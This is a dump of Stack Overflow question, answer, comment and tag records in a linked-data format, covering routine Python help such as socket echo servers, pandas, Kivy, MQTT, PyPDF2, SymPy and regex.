{"998040af-6ec7-4d0a-9512-892e668e543b":{"roots":{"references":[{"attributes":{},"id":"39af7b08-c2a0-4239-8140-5fb6715147c3","type":"ResetTool"},{"attributes":{},"id":"66fe871a-6ed6-485c-8785-2348adf6114e","type":"SaveTool"},{"attributes":{"active_drag":"auto","active_inspect":"auto","active_scroll":"auto","active_tap":"auto","tools":[{"id":"5974d4bb-2135-4a2a-ae1d-33193cf46b77","type":"PanTool"},{"id":"4d082f4c-d578-4258-ada6-3f36133784c8","type":"WheelZoomTool"},{"id":"9faa6e3c-28e7-497a-a09a-d8ca67e6dffd","type":"BoxZoomTool"},{"id":"66fe871a-6ed6-485c-8785-2348adf6114e","type":"SaveTool"},{"id":"39af7b08-c2a0-4239-8140-5fb6715147c3","type":"ResetTool"},{"id":"07186e88-4a07-43f0-8246-0e4dd3ac404e","type":"HelpTool"}]},"id":"66619cf2-604a-43ed-b139-0b376222a87e","type":"Toolbar"},{"attributes":{"callback":null},"id":"451449e3-c761-4c57-a674-8b1b5a37f378","type":"DataRange1d"},{"attributes":{"callback":null},"id":"e0c60293-c503-4885-af6b-132872d94c5c","type":"DataRange1d"},{"attributes":{"below":[{"id":"c419969e-5741-4736-90de-34259d29a726","type":"LinearAxis"}],"border_fill_color":{"value":"whitesmoke"},"left":[{"id":"5e62dbcd-09f9-410b-9b19-c8f420b90bfb","type":"LinearAxis"}],"plot_height":150,"plot_width":400,"renderers":[{"id":"c419969e-5741-4736-90de-34259d29a726","type":"LinearAxis"},{"id":"42ac392d-f455-4528-95e3-f940470c065b","type":"Grid"},{"id":"5e62dbcd-09f9-410b-9b19-c8f420b90bfb","type":"…
tagged with: jinja2
answer count: 4
type: Question
has comment: http://stackoverflow.com/comment/80937476
has comment: http://stackoverflow.com/comment/80937325
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/9691771
tagged with: css

http://stackoverflow.com/q/46919764
has comment: http://stackoverflow.com/comment/80787845
tagged with: python
tagged with: python-idle
has body: I am trying to create a simple client-server python socket program from example code located at this site. The only substantive changes I made were updating print() functions. I am getting a puzzling ConnectionRefusedError [WinError 10061] and cannot figure out why in such a simple example: Client Code: import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = ('127.0.0.1', 12345) print('client connecting to %s port %s' % server_address) sock.connect(server_address) try: message = 'This is the message. It will be repeated.' print('sending "%s"' % message) sock.sendall(message.encode('utf-8')) amount_received = 0 amount_expected = len(message.encode('utf-8')) while amount_received &lt; amount_expected: data = sock.recv(16) amount_received += len(data) print('received "%s"' % data) finally: print('closing socket') sock.close() Server Code: import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = ('127.0.0.1', 12345) print ('server starting up on %s port %s' % server_address) sock.bind(server_address) sock.listen(1) while True: print('waiting for a connection') connection, client_address = sock.accept() try: print('connection from', client_address) while True: data = connection.recv(16) print('received "%s"' % data) if data: print('sending data back to the client') connection.sendall(data) else: print('no more data from', client_address) break finally: connection.close() Expected Result: (SERVER should show) starting up on localhost port 12345 waiting for a connection connection from ('127.0.0.1', *someaddress*) received "This is the mess" sending data back to the client received "age. It will be" sending data back to the client received " repeated." sending data back to the client received "" no more data from ('127.0.0.1', *someaddress*) waiting for a connection (CLIENT should show) connecting to localhost port 12345 sending "This is the message. It will be repeated." received "This is…
has answer: http://stackoverflow.com/a/46920558
has comment: http://stackoverflow.com/comment/80788094
has title: python server actively refuses connection
has comment: http://stackoverflow.com/comment/80788355
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/46920558
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/80787794
tagged with: sockets

http://stackoverflow.com/q/46939056
answer count: 1
type: Question
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/46939823
tagged with: python
tagged with: kivy
has answer: http://stackoverflow.com/a/46939823
has body: Im working on a basic app using python and kivy and im trying to import an image which I'm basically going to use as a splash screen of sorts but for some reason I couldn't get it to work so I created a .py file and wrote some very simple code to try to get it to work: from kivy.app import App from kivy.uix.label import Label from kivy.core.window import Window Window.size = (360, 640) class ImageTestApp(App): def build(self): label = Label(source="image.jpg") return label if __name__ == "__main__": ImageTestApp().run() The image is in the same directory of the .py file and the name of the image is exactly the same, I even made the window size the same as the image size and tried .PNG but nothing worked
has title: Kivy image not showing

http://stackoverflow.com/q/46909102
downvote count: 0
favorite count: 0
type: AnsweredQuestion
upvote count: 8
tagged with: pandas
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/46909115
score: 8
type: Question
has title: Python Pandas Key Error When Trying to Access Index
has answer: http://stackoverflow.com/a/46909115
has body: I have the following data set of stocks along the columns, dates down the rows(downloaded using Bloomberg's Python API - please ignore fact that they are all 'NaN' - this is just for this portion of the data): I am trying to extract the Month and Years from the Index in order to later do a pivot: values['month'] = values['date'].apply(lambda x: x.month) Where values is the name of the above DataFrame. However this gives an error: 'KeyError 'date' Running: values.index Looks fine: DatetimeIndex(['2010-01-01', '2010-01-02', '2010-01-03', '2010-01-23', '2010-01-24', '2010-01-29', '2010-01-30', '2010-01-31', '2010-02-13', '2010-02-14', ... '2017-08-12', '2017-08-27', '2017-08-31', '2017-09-01', '2017-09-03', '2017-09-09', '2017-09-24', '2017-09-29', '2017-09-30', '2017-10-01'], dtype='datetime64[ns]', name='date', length=593, freq=None) So I am just wondering what is going wrong and why I don't seem able to access the actual index here?
answer count: 1

http://stackoverflow.com/a/46949271
type: Answer
has body: For this case you can use json method loads: import json a = '[[1, 2, 3], [4, 5], 6]' a = json.loads(a) a #[[1, 2, 3], [4, 5], 6]
has comment: http://stackoverflow.com/comment/80845834
score: 0
answers question: http://stackoverflow.com/q/46949110
has comment: http://stackoverflow.com/comment/80845793
has comment: http://stackoverflow.com/comment/80847033

http://stackoverflow.com/comment/80943873
type: Comment
type: QuestionComment
has text: in models.py file ?
score: 0
comment on: http://stackoverflow.com/q/46998500

http://stackoverflow.com/comment/81886675
has text: Not sure if this is more elegant, but you may find some useful ideas at https://github.com/coala/corobo/blob/master/tests/labhub_test.py
type: AnswerComment
comment on: http://stackoverflow.com/a/47014825
score: 0
type: Comment

http://stackoverflow.com/a/47014948
has comment: http://stackoverflow.com/comment/80992284
has comment: http://stackoverflow.com/comment/80983158
score: 0
has comment: http://stackoverflow.com/comment/80992260
type: Answer
accepted answer of: http://stackoverflow.com/q/47007997
has comment: http://stackoverflow.com/comment/81590870
has body: This is happening because your loss function is not differentiable regarding your model's weights. Your result is totally based on "constants" coming from "y_true" (which is "costs"). Although it's true you can change the result of the loss function by changing which signals are the greatest, it's impossible to know which direction to take without having differentiable functions. At first, I can't think of a replacement to your function, and from what I understood of it, all that matters is that one of the 3 results be greater than the others, independently of what their values are. Is that really your intention? Ex: For a cost [1,4,2], any of the following signals are ok by your function: [10,9,3] [1,0,0] [10e+45,1,10e-12] etc.... as long as the first one is greater, your loss is the lowest.
has comment: http://stackoverflow.com/comment/80992169
answers question: http://stackoverflow.com/q/47007997
has comment: http://stackoverflow.com/comment/80992577
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80983984
has comment: http://stackoverflow.com/comment/81014026

http://stackoverflow.com/comment/81003758
comment on: http://stackoverflow.com/a/47010416
type: Comment
has text: Sounds Good. Thanks a lot. :)
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80866214
comment on: http://stackoverflow.com/q/46959291
has text: @BenWurth HMMM.. except TimeoutException as ex: might have worked.. doing further testing. Yeap pretty sure thats working now, awesome!
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/a/46974104
accepted answer of: http://stackoverflow.com/q/46973629
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/46973629
score: 3
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80916323
has body: You already got the solution in khelwood's comment - as a more general answer, callables (classes, functions, methods etc) are not called if you don't explicitely apply the call operator, IOW the parens. As a side note: you would certainly benefit from passing all values directly to you Video class initializer, and restricting your SQL query to the fields you actually use: class Video: def __init__(self, id, title, time, category, url): self.id = id self.title = title self.time = time self.category = category self.url = url def getVideoInfo(): # I assume the db fields have the same names as # the class attributes - else fix this with the # right field names sql = "SELECT id, title, timen category, url FROM VIDEO" ls = dbUtil.get_data_tuple_ls(sql) video_ls = [Video(*row) for row in ls] return video_ls

http://stackoverflow.com/q/46998496
has answer: http://stackoverflow.com/a/46999814
type: Question
has title: PAHO MQTT Python client - acknowledgement missing, guaranteed delivery for subscriber
has body: Fellow developers, I am looking at the Paho MQTT client (for Python) and I think I understand that the QoS setting for the publisher, e.g. a sensor or any data source really, does make sense - you want to be able to make sure a message has been received (by the broker/server) after all. I also think it makes sense from a subscribers perspective to request e.g. QoS "2" in order to make sure the MQTT server does indeed send each message to the subscriber, but I am struggling with this: there does not seem to be a way for the subscriber to signal successful (or not) processing of a received message, in other words, some way of explicit acknowledgement seems to be missing? Use case - successfully process messages I would like to subscribe to a topic and process each data point successfully, e.g. by storing to a database. Therefore I need to accommodate the situation when a subscriber fails "in-flight", ie after receiving a message from the broker but before successful processing (storing to DB). Assumptions Now, should a subscriber (fixed client_id) fail while processing data it would restart and then reconnect to the MQTT broker, the broker identifies this particular client by id and starts pushing messages again - starting with the next message after the subscriber disconnected - as far as the broker is concerned it did successfully deliver this last message (cannot know, that the subscriber crashed). Potential solution If above assumption is true, then I would be better off not using a fixed client_id but rather "clean_session" and a random client_id; this way, the broker starts delivering all the messages is has persisted for a particular topic. This would of course put the responsibility of keeping track of successfully processed messages on the subscriber. Is this how it needs to be done? Or is there a way to explicitly acknowledge successful processing of a message by the subscriber, so the broker can retransmit should need be - I am particular interested for the…
tagged with: mqtt
downvote count: 0
tagged with: python
tagged with: paho
answer count: 1
has comment: http://stackoverflow.com/comment/80946202
type: AnsweredQuestion
score: 3
upvote count: 3
accepted answer: http://stackoverflow.com/a/46999814
favorite count: 0

http://stackoverflow.com/a/47059610
answers question: http://stackoverflow.com/q/47059534
type: Answer
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/81067310
has comment: http://stackoverflow.com/comment/81067045
has comment: http://stackoverflow.com/comment/81105894
has comment: http://stackoverflow.com/comment/81066736
has body: You could create a custom field, but the easiest thing is just to write a method that displays the value in the right format. Something like: class BankAccount(models.Model): .. def display_iban(self): return ''.join(l + ' ' if (i+1) % 4 == 0 else l for i, l in enumerate(self.IBAN)) and now you can do {{ bank_account.display_iban }} in the template.
has comment: http://stackoverflow.com/comment/81067241
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81067350
accepted answer of: http://stackoverflow.com/q/47059534

keras
tags question: http://stackoverflow.com/q/46917033
tags question: http://stackoverflow.com/q/46921246
tags question: http://stackoverflow.com/q/46993945
tags question: http://stackoverflow.com/q/47012392
tags question: http://stackoverflow.com/q/46911596
tags question: http://stackoverflow.com/q/47022606
tags question: http://stackoverflow.com/q/47031684
tags question: http://stackoverflow.com/q/46982616
tags question: http://stackoverflow.com/q/47064178
tags question: http://stackoverflow.com/q/46971028
tags question: http://stackoverflow.com/q/47059698
tags question: http://stackoverflow.com/q/47035367
tags question: http://stackoverflow.com/q/46982652
tags question: http://stackoverflow.com/q/46998182
tags question: http://stackoverflow.com/q/46971808
tags question: http://stackoverflow.com/q/46965047
tags question: http://stackoverflow.com/q/46909431
tags question: http://stackoverflow.com/q/46966865
tags question: http://stackoverflow.com/q/47028242
tags question: http://stackoverflow.com/q/47057332
tags question: http://stackoverflow.com/q/47025036
tags question: http://stackoverflow.com/q/46964090
tags question: http://stackoverflow.com/q/46930558
tags question: http://stackoverflow.com/q/46958739
tags question: http://stackoverflow.com/q/46975875
tags question: http://stackoverflow.com/q/47020411
tags question: http://stackoverflow.com/q/47002177
tags question: http://stackoverflow.com/q/46989998
tags question: http://stackoverflow.com/q/46999519
tags question: http://stackoverflow.com/q/47050571
tags question: http://stackoverflow.com/q/46991820
tags question: http://stackoverflow.com/q/47036409
tags question: http://stackoverflow.com/q/46982030
tags question: http://stackoverflow.com/q/46982997
tags question: http://stackoverflow.com/q/47003418
tag name: keras
tags question: http://stackoverflow.com/q/46912505
tags question: http://stackoverflow.com/q/46913748
tags question: http://stackoverflow.com/q/47022925
tags question: http://stackoverflow.com/q/47034892
tags question: http://stackoverflow.com/q/47047057
tags question: http://stackoverflow.com/q/47007997
tags question: http://stackoverflow.com/q/46979181
tags question: http://stackoverflow.com/q/46994409
tags question: http://stackoverflow.com/q/46938504
type: Tag
tags question: http://stackoverflow.com/q/47025750
tags question: http://stackoverflow.com/q/46957953
tags question: http://stackoverflow.com/q/47047716
tags question: http://stackoverflow.com/q/47017035
tags question: http://stackoverflow.com/q/46995209
tags question: http://stackoverflow.com/q/47034692
tags question: http://stackoverflow.com/q/46957298

http://stackoverflow.com/a/47005262
answers question: http://stackoverflow.com/q/47004291
downvote count: 0
upvote count: 1
has body: Here without any libraries. Just slice the things and some try-except tricks. isdigit() checks if the string is digit, if it's not, then that means it is float. For True and False, just checking if they are in the list. This can be done shorter, I just made it this way so you can see how it works. all = 'abc', '123', '45.6', 'True', 'False' for d in all: for x,y in enumerate(d): if y == "True": d[x] = True if y == "False": d[x] = False for d in all: for x,y in enumerate(d): try: if y.isdigit() == True: d[x] = int(y) else: d[x] = float(y) except: pass Output; ['abc', 123, 45.6, True, False] abc &lt;class 'str'&gt; 123 &lt;class 'int'&gt; 45.6 &lt;class 'float'&gt; True &lt;class 'bool'&gt; False &lt;class 'bool'&gt;
score: 1
type: Answer

http://stackoverflow.com/q/46988364
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/46988539
type: Question
answer count: 2
has body: I wrote the following code : lst=["Terribly Tricky"] for word in lst: for letter in word[-6:]: print(letter) And I was excpecting python to print "Tricky" but it returned the following : T r i c k y How can I get it to print it like this : Tricky Thanks in advance.
has comment: http://stackoverflow.com/comment/80923382
upvote count: 0
has title: Print entire word in If loop
tagged with: python
score: -1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80923328
has comment: http://stackoverflow.com/comment/80923363
has answer: http://stackoverflow.com/a/46988539
has comment: http://stackoverflow.com/comment/80923359
possible better answer: http://stackoverflow.com/a/46988427
has answer: http://stackoverflow.com/a/46988427
linked to: http://stackoverflow.com/q/493386

http://stackoverflow.com/comment/80812564
type: Comment
has text: All the three cases (`endl`, `\n` and `print`) flush the buffer if you are writing to console, as OP seem to do.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46932772

http://stackoverflow.com/comment/89065849
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/51037060
has text: if this answer has helped you please thick my answer as correct answer and upvote that.
type: Comment

http://stackoverflow.com/comment/80931471
score: 0
type: AnswerComment
has text: @Justin O'Brien try dict1 = {a.split("-")[0].strip():a.split("-")[1].strip() for a in str2 if '-' in a}
comment on: http://stackoverflow.com/a/46992388
type: Comment

http://stackoverflow.com/q/46943226
has title: how to speed up the algorithm about boolean
has comment: http://stackoverflow.com/comment/80834209
has body: If I have a very large piece of data, and I want to find out some specific elements and convert them from bool to number. For example, I want to find whether the element is in the interval (0.3,0.4), and convert True to 1 and False to 0. i=np.random.rand(1000,1000,1000) j=((0.3&lt;i)*(i&lt;0.4))*1 Does j=((0.3&lt;i)&amp;(i&lt;0.4))*1 work the same as the expression above? I know bool*bool is time-consuming and exploit a huge memory, and so is bool convert to number. Then how can I seed up the algorithm and save memory? Is there a way to evaluate 0.3&lt;i&lt;0.4 quickly?
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80882815
has answer: http://stackoverflow.com/a/46943290
tagged with: optimization
tagged with: numpy
tagged with: boolean
answer count: 2
has comment: http://stackoverflow.com/comment/80834020
has answer: http://stackoverflow.com/a/46944047
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80790390
type: Comment
has text: Also, you might as well just wait for `(By.ID,"CloseLink")` to be clickable. There's not much point in waiting for `adPopUp7` then click on `CloseLink`. Just wait and click on `CloseLink`.
comment on: http://stackoverflow.com/a/46919553
type: AnswerComment
score: 0

http://stackoverflow.com/a/46985475
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46985421
has comment: http://stackoverflow.com/comment/80918393
answers question: http://stackoverflow.com/q/46985421
type: Answer
has body: As one of the comment says :All folders are sharing a single list_of_files among themselves. Therefore, in your case you want every folder to have his own list, therefore you need to do something like this: class Folder(object): # __init__ def __init__(self): self.list_of_files = [] class File(object): # __init__ def __init__(self): pass def insert_into_folder(self, folder): folder.list_of_files.append(self) def main(): folders = [] folders.append(Folder()) folders.append(Folder()) f = File() f.insert_into_folder(folders[0]) for folder in folders: print("Folder {:d} has {:d} file(s)".format(folders.index(folder), len(folder.list_of_files))) if __name__ == "__main__": main() Output Folder 0 has 1 file(s) Folder 1 has 0 file(s) By adding self.list_of_files = [], you're actually saying everytime I make an instance of Folder, add a list_of_files to this instance.
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80813103
type: QuestionComment
comment on: http://stackoverflow.com/q/46932727
has text: Just to note: you could just `return str(number) in string`
score: 1
type: Comment

http://stackoverflow.com/q/47021185
tagged with: pypdf
downvote count: 0
has title: Is there a way to close the file PdfFileReader opens?
has answer: http://stackoverflow.com/a/47021332
possible better answer: http://stackoverflow.com/a/47021305
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47021326
has body: I'm opening a lot of PDF's and I want to delete the PDF's after they have been parsed, but the files remain open until the program is done running. How do I close the PDf's I open using PyPDF2? Code: def getPDFContent(path): content = "" # Load PDF into pyPDF pdf = PyPDF2.PdfFileReader(file(path, "rb")) #Check for number of pages, prevents out of bounds errors max = 0 if pdf.numPages &gt; 3: max = 3 else: max = (pdf.numPages - 1) # Iterate pages for i in range(0, max): # Extract text from page and add to content content += pdf.getPage(i).extractText() + "\n" # Collapse whitespace content = " ".join(content.replace(u"\xa0", " ").strip().split()) #pdf.close() return content
tagged with: python-2.7
upvote count: 8
score: 8
accepted answer: http://stackoverflow.com/a/47021332
tagged with: python
has answer: http://stackoverflow.com/a/47021305
type: AnsweredQuestion
answer count: 3

http://stackoverflow.com/comment/80962267
type: AnswerComment
comment on: http://stackoverflow.com/a/47007677
score: 0
has text: @JamesDean: Which words are you trying to extract? It wasn't too clear from your question. If you want the third word, use an index of 2, for example. And the brackets will appear if you're printing the list itself. If you need the extracted words concatenated into a string, try using `" ".join(list)`
type: Comment

http://stackoverflow.com/comment/80986730
type: Comment
type: QuestionComment
has text: If you replace the formula under point 4 with a hardcoded path for testing, do you see the same behaviour?
comment on: http://stackoverflow.com/q/47019104
score: 0

http://stackoverflow.com/comment/80878665
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46965328
has text: Hi Thom Ives Thanks alot, the solution is working fine, but the problem is, each time i run the program, it erases the existing file and creates a new one. is there a way of permanently creating the header column once and appends new row for each new run. secondly, the exit is not working. In my former code i have tried quit and it didnt work either. if you dont mind i can give you the entire original with other module code so that you see if you know an alternative route
score: 0

http://stackoverflow.com/comment/80942871
type: AnswerComment
has text: You can not put a key-value pair inside a list/array. It would be an invalid JSON string. Please stop formatting JSON string by yourself.
score: 0
comment on: http://stackoverflow.com/a/46994749
type: Comment

http://stackoverflow.com/a/47045351
type: Answer
has comment: http://stackoverflow.com/comment/83969041
accepted answer of: http://stackoverflow.com/q/47044854
has body: This is a bug in psycopg2 2.6. The bug was fixed in psycopg2 2.7. Install the latest version to work with PostgreSQL 10.
answers question: http://stackoverflow.com/q/47044854
has comment: http://stackoverflow.com/comment/83966667
type: AcceptedAnswer
score: 18
has comment: http://stackoverflow.com/comment/83966621
upvote count: 19
downvote count: 1
has comment: http://stackoverflow.com/comment/81619091

django-queryset
tags question: http://stackoverflow.com/q/46913902
tags question: http://stackoverflow.com/q/46915295
type: Tag
tags question: http://stackoverflow.com/q/47037427
tag name: django-queryset
tags question: http://stackoverflow.com/q/47030448
tags question: http://stackoverflow.com/q/46995914
tags question: http://stackoverflow.com/q/47036519

http://stackoverflow.com/q/46973953
tagged with: ode
type: Question
accepted answer: http://stackoverflow.com/a/46979535
tagged with: sympy
has answer: http://stackoverflow.com/a/46979535
has title: Sympy ODE solver initial conditions have no effect
tagged with: python
type: AnsweredQuestion
upvote count: 3
linked to: http://stackoverflow.com/q/34735660
score: 3
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/41192748
has body: I want to use dsolve to solve an initial value problem but the initial condition ics appear to have no effect. Both dsolve in the example give the same result. from sympy import * x = symbols('x') f = Function('f') eq = Eq(Derivative(f(x), x), f(x)) # No initial condition pprint(dsolve(eq, f(x))) # With initial condition f(0) = 1 pprint(dsolve(eq, f(x), ics={f(0):1})) In both cases I get the same solution x f(x) = C1 ℯ C1 is not replaced by the value 1 even with ics. Sympy second order ode mentions sympy issue 4720 but that issue is now closed. I am using SymPy 1.1.1.
favorite count: 0

http://stackoverflow.com/a/46992476
score: 0
has comment: http://stackoverflow.com/comment/80959483
type: Answer
answers question: http://stackoverflow.com/q/46987220
has comment: http://stackoverflow.com/comment/80962078
has comment: http://stackoverflow.com/comment/80961090
has comment: http://stackoverflow.com/comment/80960728
has comment: http://stackoverflow.com/comment/80934554
has comment: http://stackoverflow.com/comment/80933618
has body: Or: arr = np.empty(0) # you want it to contain 0 elements np.insert(arr, 0, [2,2])

http://stackoverflow.com/q/47013533
upvote count: 1
linked to: http://stackoverflow.com/q/9978534
has answer: http://stackoverflow.com/a/47013746
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/68380872
has body: Hi I am writing a regex program to search for a pattern Mmm dd hh:mm:ss in the given sentence. For example I want to identify if a pattern such as Mmm dd hh:mm:ss is present in the given sentence ( for example, Aug 03 50:42:08 is the optimistic time to start the work). I went through many stack overflow questions that fall under this topic. But still I am not able to figure out the exact regex pattern (template) to identify if Mmm dd hh:mm:ss is present in the given sentence? Edit 1: So once this pattern is identified, what should be done to group those sentences which matched the pattern into one group and the sentences which did not match the pattern into another group? The code developed so far is below: regexp = re.compile('[a-zA-Z]+(?=\s\d)\s\d+\s\d+:\d+:\d+') if regexp.search('we shall meet on Jun 26 10:45:09'): print('matched') Output: &gt;&gt;&gt; matched
type: Question
has answer: http://stackoverflow.com/a/47013628
accepted answer: http://stackoverflow.com/a/47013935
has comment: http://stackoverflow.com/comment/80973527
tagged with: datetime
has answer: http://stackoverflow.com/a/47013935
tagged with: python
tagged with: regex
answer count: 6
has answer: http://stackoverflow.com/a/47014422
possible better answer: http://stackoverflow.com/a/47013628
has title: Regular Expression (regex) Search for 'Mmm dd hh:mm:ss' Pattern and Group using Python 3.6
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47014113

http://stackoverflow.com/a/47044709
has body: You could do it inline to condense your code: xyz = np.insert(xyz, 0, str(nbofatoms), axis=0) xyz = np.insert(xyz, 0, 'comment', axis=0)
downvote count: 1
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/81037092
answers question: http://stackoverflow.com/q/47044610
upvote count: 0

http://stackoverflow.com/a/47012336
score: 1
type: Answer
upvote count: 1
has body: Using slice assignment n = len(df) f, u = pd.factorize(df.B.values) a = np.empty((n, 2), dtype=object) a.fill('') a[np.arange(n), f] = df.A.values df.loc[:, ['C', 'D']] = a df A B C D 0 0 X 0 1 1 Y 1 2 0 Y 0 3 1 Y 1 4 0 X 0 5 1 X 1
has comment: http://stackoverflow.com/comment/80970994
answers question: http://stackoverflow.com/q/47011764
downvote count: 0

http://stackoverflow.com/q/46996200
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80939323
has comment: http://stackoverflow.com/comment/80939261
has comment: http://stackoverflow.com/comment/80938993
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/80939236
score: -1
has answer: http://stackoverflow.com/a/46996278
has comment: http://stackoverflow.com/comment/80939249
upvote count: 0
has comment: http://stackoverflow.com/comment/80938963
has comment: http://stackoverflow.com/comment/80938990
has title: How to get rid of [''] when reading .csv files in python
has body: I am opening and reading one .csv file at a time from a folder and printing them out as follows: ownerfiles = os.listdir(filepath) for ownerfile in ownerfiles: if ownerfile.endswith(".csv"): eachfile = (filepath + ownerfile) #loops over each file in ownerfiles with open (eachfile, 'r', encoding="UTF-8") as input_file: next(input_file) print(eachfile) for idx, line in enumerate(input_file.readlines()) : line = line.strip().split(",") print(line) However, when I do print(line) the files are printing as follows: /Users/Sulz/Desktop/MSBA/Applied Data Analytics/Test_File/ownerfile_138.csv [''] ['2010-01-01 11:28:35', '16', '54', '59', '0000000040400', 'O.Coffee Hot Small', 'I', ' ', ' ', '14', '1', '0', '0.3241', '1.4900', '1.4900', '1.4900', '0.0000', '1', '0', '0', '0', '0.0000', '0.0000', '1', '44', '0', '0.00000000', '1', '0', '0', '0.0000', '0', '0', '', '0', '5', '0', '0', '0', '0', 'NULL', '0', 'NULL', '', '0', '20436', '1', '0', '0', '1'] How can I get rid of [''] before the list of all the data ?? EDIT: I now tried reading it with the .csv module like this: ownerfiles = os.listdir(filepath) for ownerfile in ownerfiles: if ownerfile.endswith(".csv"): eachfile = (filepath + ownerfile) #loops over each file in ownerfiles with open (eachfile, 'r', encoding="UTF-8") as input_file: next(input_file) reader = csv.reader(input_file, delimiter=',', quotechar='|') for row in reader : print(row) However, it still prints output like this: [] ['2010-01-01 11:28:35', '16', '54', '59', '0000000040400', 'O.Coffee Hot Small', 'I', ' ', ' ', '14', '1', '0', '0.3241', '1.4900', '1.4900', '1.4900', '0.0000', '1', '0', '0', '0', '0.0000', '0.0000', '1', '44', '0', '0.00000000', '1', '0', '0', '0.0000', '0', '0', '', '0', '5', '0', '0', '0', '0', 'NULL', '0', 'NULL', '', '0', '20436', '1', '0', '0', '1']
has comment: http://stackoverflow.com/comment/80939091

http://stackoverflow.com/comment/80788276
has text: @Saalim Bingo. You should only use `is` for comparing to `None`, or if you truly want to ensure that the objects are the same. Usually you only care about the contents.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46920185
type: QuestionComment

http://stackoverflow.com/q/46988238
score: 0
answer count: 0
tagged with: pandas
type: UnansweredQuestion
tagged with: data-processing
has body: I have a dataframe looks like this after I groupby them. gb = new_user_log.groupby(['msno', 'date', 'num_25', 'num_50', 'num_75', 'num_985', 'num_100', 'num_unq', 'total_secs', 'days']).days.count() Part of the dataframe shows here: msno date num_25 num_50 num_75 num_985 num_100 num_unq total_secs days ++orpnUqSevh2M5A97pRRiONA58g5m9DwaNrhD44HY0= 2016-08-14 78 13 3 3 77 84 18987.862 2 1 +0krxpTkQT7hciN95OEp7i2lyKvbXft887VNQGF6xN4= 2016-12-22 27 23 5 2 11 65 5946.577 35 1 98 1 +1eAmfPiXsMG0J+U/j7YTeXO+u0/ZhZqmoXfXKOY57I= 2016-12-17 8 2 2 2 126 131 32629.128 46 1 +1zyLKrstPYDOnoyooqqb0+VmmovONd9N3QZynT7rq0= 2016-07-14 18 2 1 3 46 66 10253.571 196 1 2016-09-17 11 3 1 6 81 45 12970.416 261 1 2016-11-17 5 1 3 2 8 19 2614.571 322 1 +28j7X4BShC9g2C4No4xAmzXuhLlmMbFDYWZcbblCEs= 2015-11-21 1 2 1 2 88 94 23580.548 45 1 2016-03-28 12 6 5 4 36 61 11596.887 173 1 +2GtgQNpMuIG0Vy1ycAbfla0zRni6NKtRLlyyuHHB8I= 2015-07-18 15 1 2 2 73 75 19179.451 102 1 2016-07-29 7 2 1 1 8 17 2515.486 479 1 2016-11-09 45 6 3 1 71 93 19865.317 582 1 So the first little problem I hope to solve is give each of 'msno'(userID) a number, not as a string type... All these features num_25 num_50 num_75 num_985 num_100 num_unq total_secs are counting events happened in each day. The last feature days is calculated by days = date - transaction_date means the number of days a user own the product. And the firsttransaction_date for each user means the first time to buy this product. It comes from the dataframe belows, msno payment_method_id \ 0 QA7uiXy8vIbUSPOkCf9RwQ3FsT8jVq2OxDr8zqa7bRQ= 39 20 GBy8qSz16X5iYWD+3CMxv/Hm6OPSrXBYtmbnlRtknW0= 33 44 T0FF6lumjKcqEO0O+tUH2ytc+Kb9EkeaLzcVUiTr1aE= 40 72 9iW/UpqRoviya9CQh64RoYLPjiws8+biwscN+g5qYm4= 37 86 LUCi7i5FeNuZz4DB0zKu8J80rgr2uCO8YHCSW9PZfAk= 38 98 qCagaTL3UbMn0zvdMDDUoonbei70q1eASKrXa1cZGCs= 38 120 nsx5IGkCueevv0vFHB4jkG0HdRl6m6ltB8U9Guo5nS0= 40 123 nsx5IGkCueevv0vFHB4jkG0HdRl6m6ltB8U9Guo5nS0= 40 transaction_date membership_expire_date 0 2016-10-31 2016-12-21 20 2…
has comment: http://stackoverflow.com/comment/81042234
has title: How to fill 0 and NaN for a dataframe after groupby it in python?
tagged with: group-by
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81042293
type: Question

http://stackoverflow.com/comment/81073806
has text: What happened when you did ... `user2.user = user`
type: Comment
comment on: http://stackoverflow.com/q/47062622
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80952111
comment on: http://stackoverflow.com/a/46997222
score: 0
type: AnswerComment
has text: I'm glad it worked... you can do a digital beer, aka upvote and accepted answer (-:
type: Comment

http://stackoverflow.com/a/46985964
has comment: http://stackoverflow.com/comment/80919152
score: 3
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80919088
has comment: http://stackoverflow.com/comment/80919072
answers question: http://stackoverflow.com/q/46985924
